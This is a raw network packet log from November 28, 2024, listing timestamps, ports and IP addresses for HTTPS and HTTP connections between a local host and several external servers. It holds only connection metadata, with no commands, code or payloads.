Nov 28, 2024 11:05:11.583655119 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.709566116 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.709729910 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.709789991 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.709808111 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.709909916 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.709952116 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.709956884 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.722357035 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.722393036 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.722421885 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.722440958 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.722590923 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.732218981 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.742477894 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.742645979 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.742661953 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.829045057 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.829155922 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.829176903 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.900818110 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.900891066 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.900918007 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.923080921 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.923124075 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.923127890 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.923145056 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.923186064 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.930951118 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.941278934 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.941332102 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.941345930 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.950403929 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.950453997 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.950465918 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.963239908 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.963288069 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.963299990 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.974764109 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.974812031 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.974822998 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.987160921 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.987237930 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.987248898 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.999643087 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.999686003 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.999701023 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.008378029 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.008435965 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.008444071 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.020657063 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.020706892 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.020718098 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.033041954 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.033173084 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.033181906 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.108369112 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.108433008 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.108458996 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.118463993 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.118530035 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.118537903 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.130667925 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.132031918 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.132049084 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.132833004 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.132961035 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.132966042 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.137279034 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.137345076 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.137356043 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.142431974 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.142561913 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.142573118 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.151885986 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.151947021 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.151958942 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.162563086 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.162652969 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.162677050 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.173320055 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.173377991 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.173384905 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.184278965 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.184335947 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.184341908 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.194885969 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.194955111 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.194983006 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.205804110 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.205874920 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.205903053 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.216010094 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.216156006 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.216186047 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.226260900 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.226335049 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.226361990 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.235917091 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.235975981 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.236004114 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.245191097 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.245245934 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.245280981 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.253921032 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.253983974 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.254009008 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.262960911 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.263041019 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.263066053 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.271497965 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.271574020 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.271604061 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.280323029 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.280402899 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.280431986 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.286129951 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.286185026 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.286221981 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.293371916 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.293482065 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.293509960 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.297175884 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.297230005 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.297255993 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.319334030 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.319402933 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.319430113 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.320867062 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.320914030 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.320919991 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.339991093 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.340142012 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.340152025 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.341495037 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.341720104 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.341730118 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.344408989 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.344584942 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.344594955 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.350398064 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.350447893 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.350457907 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.352591991 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.352644920 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.352652073 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.362351894 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.362411022 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.362417936 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.364088058 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.364151001 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.364353895 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.364367962 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.751725912 CET	443	49727	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.752193928 CET	49727	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:12.752213955 CET	443	49727	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.752655983 CET	49727	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:12.752661943 CET	443	49727	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.816425085 CET	443	49729	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.816847086 CET	49729	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:12.816912889 CET	443	49729	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.817388058 CET	49729	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:12.817403078 CET	443	49729	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.889911890 CET	443	49732	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.890611887 CET	49732	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:12.890638113 CET	443	49732	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.891041994 CET	49732	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:12.891050100 CET	443	49732	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.919904947 CET	443	49719	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.921825886 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.921858072 CET	443	49719	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.923105955 CET	443	49719	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.923183918 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.923583031 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.923733950 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.923779964 CET	443	49719	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:12.954926968 CET	443	49731	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.955398083 CET	49731	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:12.955419064 CET	443	49731	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.955893993 CET	49731	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:12.955899954 CET	443	49731	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:12.978193998 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:12.978225946 CET	443	49719	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:13.025063038 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:13.196306944 CET	443	49727	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.196435928 CET	443	49727	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.196491003 CET	49727	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.196636915 CET	49727	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.196661949 CET	443	49727	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.196672916 CET	49727	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.196679115 CET	443	49727	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.200386047 CET	49739	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.200438976 CET	443	49739	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.200546980 CET	49739	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.200805902 CET	49739	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.200824976 CET	443	49739	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.269758940 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:13.269865990 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:13.270328045 CET	443	49729	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.270397902 CET	443	49729	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.270704985 CET	49729	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.270845890 CET	49729	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.270867109 CET	443	49729	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.270879984 CET	49729	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.270889997 CET	443	49729	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.273293018 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:13.273308039 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:13.273566961 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:13.274804115 CET	49740	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.274838924 CET	443	49740	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.274890900 CET	49740	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.275809050 CET	49740	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.275823116 CET	443	49740	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.321957111 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:13.334485054 CET	443	49732	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.334567070 CET	443	49732	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.334610939 CET	49732	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.334974051 CET	49732	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.334992886 CET	443	49732	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.335005045 CET	49732	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.335011005 CET	443	49732	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.340893984 CET	49741	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.340924025 CET	443	49741	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.341156006 CET	49741	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.341499090 CET	49741	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.341509104 CET	443	49741	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.408385992 CET	443	49731	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.408447027 CET	443	49731	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.408518076 CET	49731	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.415322065 CET	49731	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.415347099 CET	443	49731	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.415364981 CET	49731	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.415370941 CET	443	49731	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.424789906 CET	49742	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.424823999 CET	443	49742	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.424971104 CET	49742	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.425579071 CET	49742	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:13.425589085 CET	443	49742	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:13.678894997 CET	49744	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:13.678935051 CET	443	49744	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:13.679071903 CET	49744	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:13.680299997 CET	49744	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:13.680314064 CET	443	49744	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:14.008327961 CET	443	49719	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:14.008470058 CET	443	49719	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:14.008531094 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:14.010970116 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:14.011006117 CET	443	49719	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:14.465493917 CET	443	49728	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:14.466137886 CET	49728	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:14.466186047 CET	443	49728	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:14.466684103 CET	49728	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:14.466702938 CET	443	49728	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:14.762927055 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:14.763189077 CET	49747	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:14.882935047 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:14.883093119 CET	80	49747	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:14.883172035 CET	49747	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:14.884167910 CET	49747	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:14.900754929 CET	443	49728	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:14.900826931 CET	443	49728	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:14.900929928 CET	49728	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:14.901031017 CET	49728	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:14.901047945 CET	443	49728	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:14.901057959 CET	49728	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:14.901063919 CET	443	49728	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:14.903856039 CET	49748	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:14.903896093 CET	443	49748	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:14.903975964 CET	49748	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:14.904139996 CET	49748	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:14.904150009 CET	443	49748	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.004113913 CET	80	49747	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:15.044691086 CET	443	49739	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.047122955 CET	49739	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.047171116 CET	443	49739	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.047574997 CET	49739	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.047588110 CET	443	49739	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.057024002 CET	443	49740	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.058043003 CET	49740	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.058051109 CET	443	49740	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.058751106 CET	49740	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.058754921 CET	443	49740	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.107743025 CET	443	49744	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:15.107808113 CET	49744	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:15.112297058 CET	49744	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:15.112302065 CET	443	49744	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:15.112653017 CET	443	49744	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:15.122983932 CET	443	49741	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.143851995 CET	443	49742	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.152777910 CET	49744	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:15.154952049 CET	49741	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.154968023 CET	443	49741	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.155555010 CET	49741	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.155564070 CET	443	49741	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.158191919 CET	49742	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.158207893 CET	443	49742	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.158875942 CET	49742	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.158881903 CET	443	49742	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.184257030 CET	49744	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:15.227333069 CET	443	49744	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:15.497849941 CET	443	49739	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.497911930 CET	443	49739	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.501143932 CET	443	49740	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.501211882 CET	443	49740	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.501223087 CET	49739	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.501250982 CET	49740	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.510545969 CET	49739	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.510572910 CET	443	49739	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.510586023 CET	49739	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.510591984 CET	443	49739	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.539156914 CET	49740	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.539186954 CET	443	49740	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.539199114 CET	49740	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.539205074 CET	443	49740	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.566915989 CET	443	49741	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.566983938 CET	443	49741	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.567051888 CET	49741	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.568198919 CET	49741	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.568211079 CET	443	49741	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.580096960 CET	443	49742	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.580168962 CET	443	49742	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.580243111 CET	49742	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.580641985 CET	49749	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.580677986 CET	443	49749	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.581233978 CET	49749	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.630851030 CET	443	49744	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:15.630911112 CET	443	49744	23.218.208.109	192.168.2.7
Nov 28, 2024 11:05:15.631001949 CET	49744	443	192.168.2.7	23.218.208.109
Nov 28, 2024 11:05:15.642636061 CET	49750	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.642683029 CET	443	49750	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.642811060 CET	49750	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.643867016 CET	49751	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.643884897 CET	443	49751	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.644059896 CET	49751	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.644792080 CET	49742	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.644792080 CET	49742	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.644803047 CET	443	49742	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.644818068 CET	443	49742	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:15.647645950 CET	49749	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:15.647659063 CET	443	49749	13.107.246.63	192.168.2.7
